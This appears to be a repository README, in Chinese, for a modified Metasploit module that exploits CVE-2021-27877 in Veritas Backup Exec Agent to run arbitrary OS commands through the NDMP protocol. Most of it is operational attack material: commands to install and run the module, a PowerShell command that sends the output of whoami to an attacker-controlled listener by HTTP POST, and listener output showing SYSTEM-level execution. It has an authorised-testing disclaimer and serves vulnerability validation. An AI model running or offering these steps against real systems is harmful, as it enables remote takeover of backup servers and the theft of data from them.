本仓库包含针对影响 Veritas Backup Exec Agent 的 CVE-2021-27877 的原始 Rapid7 Metasploit 模块的修改版本。
在我的测试中,原始 Metasploit 模块成功将目标识别为易受攻击,但由于 payload 传递阶段失败,始终未能建立会话。然而,模块分析表明身份验证和底层命令执行功能正常工作。
为简化漏洞验证,我修改了该模块,通过易受攻击的 NDMP 命令执行功能直接执行用户提供的操作系统命令,而不是上传并执行 payload。这使得无需依赖反向 shell 或 payload 分段便能更轻松地确认远程代码执行。
免责声明: 本概念验证仅供教育目的和授权安全测试使用。仅可针对您拥有或明确授权评估的系统使用。
注意: 为保护测试期间使用的环境,本仓库中的所有 IP 地址均已匿名化处理。在示例中,
192.168.x.x代表目标主机,192.168.y.y代表攻击系统或监听器。这些替换不影响概念验证的功能。
与原始 Rapid7 模块相比,进行了以下修改:
COMMAND 运行时选项。将修改后的模块复制到本地 Metasploit 模块目录。
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
启动(或重启)Metasploit 并重新加载本地模块:
msfconsole
reload_all
运行模块前,启动一个 HTTP 监听器(或任何能够接收并显示 HTTP POST 请求的 Web 服务器)。该监听器将接收目标上执行的命令的输出。
例如,您可以使用带有自定义请求处理器的简单 Python HTTP 服务器、nc 或任何您选择的 HTTP 监听器。
加载模块:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
配置必需选项:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
COMMAND 选项接受您希望在目标上执行的任何命令。
本模块设计用于执行单个命令,并且不会自动返回命令输出。
要检索输出,请在命令中使用合适的回调机制(例如 HTTP POST 请求或其他出站渠道),并监控您的监听器。
监听器输出示例:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system